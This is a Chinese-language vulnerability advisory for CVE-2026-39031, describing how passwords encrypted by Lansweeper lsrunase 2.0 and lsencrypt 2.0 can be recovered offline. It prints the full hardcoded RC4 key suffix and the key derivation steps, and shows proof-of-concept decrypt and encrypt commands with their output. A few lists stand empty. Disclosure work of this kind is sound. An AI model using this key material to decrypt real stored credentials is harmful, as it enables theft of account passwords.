CVE-2026-39031 — 针对Lansweeper lsrunase 2.0 / lsencrypt 2.0 的离线明文密码恢复,利用硬编码的 RC4 密钥。包含 PoC + 技术建议。
Lansweeper lsrunase 2.0 和 lsencrypt 2.0 使用基于 RC4 的可逆密码加密方案。RC4 密钥由存储为明文并与加密密码及二进制文件中嵌入的固定密钥材料一起的 8 字符前缀派生而来。
任何拥有由任一工具生成的加密密码字符串的人都可以离线恢复明文密码。恢复过程无需暴力破解:从加密值中分割出明文前缀,重建密钥缓冲区,计算一次 SHA-1 摘要,并解密一个 RC4 密文。
此问题被分配为 CVE-2026-39031。公开的 CVE 和 NVD 记录可能要到披露发布且记录传播完成后才会出现。
| 产品 | 受影响版本 |
|---|---|
Lansweeper lsrunase | 2.0 |
Lansweeper lsencrypt | 2.0 |
受影响的组件是 lsrunase.exe 2.0 和 lsencrypt.exe 2.0 中使用的密码加密例程。
这不是被追踪为 CVE-2007-6340 的旧版 LSrunasE / Supercrypt 问题。旧版 CVE 影响 Geert Moernaut LSrunasE 1.0 和 Supercrypt 1.0。
CVE-2026-39031 专门覆盖 Lansweeper lsrunase 2.0 和 lsencrypt 2.0。漏洞构造不同:这些二进制文件从明文的 8 字符前缀加上二进制文件中嵌入的固定 142 字节后缀派生 RC4 密钥。
加密后的密码值构建为:
8字符前缀 || base64(RC4(明文密码))
加密过程为:
0x3f 到 0x7e 之间的 8 字符 ASCII 前缀。SHA1(key_buffer) 以生成 20 字节的 RC4 密钥。固定的 142 字节后缀为:
0x27 0x0F 0x29 0x11 0x2B 0x13 0x2D 0x15
0x2F 0x17 0x31 0x19 0x33 0x1B 0x35 0x1D
0x37 0x1F 0x39 0x21 0x3B 0x23 0x3D 0x25
0x3F 0x27 0x41 0x29 0x43 0x2B 0x45 0x2D
0x47 0x2F 0x49 0x31 0x4B 0x33 0x4D 0x35
0x4F 0x37 0x51 0x39 0x53 0x3B 0x55 0x3D
0x57 0x3F 0x59 0x41 0x5B 0x43 0x5D 0x45
0x5F 0x47 0x61 0x49 0x63 0x4B 0x65 0x4D
0x67 0x4F 0x69 0x51 0x6B 0x53 0x6D 0x55
0x6F 0x57 0x71 0x59 0x73 0x5B 0x75 0x5D
0x77 0x5F 0x79 0x61 0x7B 0x63 0x7D 0x65
0x7F 0x67 0x81 0x69 0x83 0x6B 0x85 0x6D
0x87 0x6F 0x89 0x71 0x8B 0x73 0x8D 0x75
0x8F 0x77 0x91 0x79 0x93 0x7B 0x95 0x7D
0x97 0x7F 0x99 0x81 0x9B 0x83 0x9D 0x85
0x9F 0x87 0xA1 0x89 0xA3 0x8B 0xA5 0x8D
0xA7 0x8F 0xA9 0x91 0xAB 0x93 0xAD 0x95
0xAF 0x97 0xB1 0x99 0xB3 0x9B
由于前缀以明文形式存储,而其余密钥材料在所有安装中固定不变,因此任何拥有加密密码字符串和二进制副本(或本分析报告)的攻击者都可以获得派生 RC4 密钥所需的所有信息。
概念验证脚本无第三方依赖,可在 Python 3 中运行。
$ python lsrunase2cve.py --decrypt "IssS|CI|NTOEHK5Q9l7Sn89xEA67+wo="
Decrypted: testpassword12345
以上加密值是由 LSrunasE 2.0 password encrypter 2.0 GUI 为明文值 testpassword12345 生成的。
如需使用相同前缀进行可重现的加密检查:
$ python lsrunase2cve.py --encrypt "testpassword12345" --prefix "IssS|CI|"
Encrypted: IssS|CI|NTOEHK5Q9l7Sn89xEA67+wo=
拥有由 lsrunase 2.0 或 lsencrypt 2.0 生成的加密密码值的本地攻击者可以离线恢复明文密码。
根据工具的部署方式,恢复的凭据可能允许:
该问题由密码保护方案中的多个密码学设计问题引起:
相关的弱点类别包括:
CWE-321:使用硬编码的加密密钥CWE-326:加密强度不足CWE-327:使用有缺陷或危险的密码算法| 日期 | 事件 |
|---|---|
| 2026-03-13 | 通过 [email protected] 通知厂商,给出 90 天协调披露时间表和 14 天 CVE 分配声明窗口。 |
| 2026-03-31 | 厂商回复该产品不再维护。未提供技术确认。 |
| 2026-06-08 | MITRE 分配了 CVE-2026-39031。 |
CWE-321:https://cwe.mitre.org/data/definitions/321.htmlCWE-326:https://cwe.mitre.org/data/definitions/326.htmlCWE-327:https://cwe.mitre.org/data/definitions/327.htmlCVE-2007-6340 记录:https://nvd.nist.gov/vuln/detail/CVE-2007-6340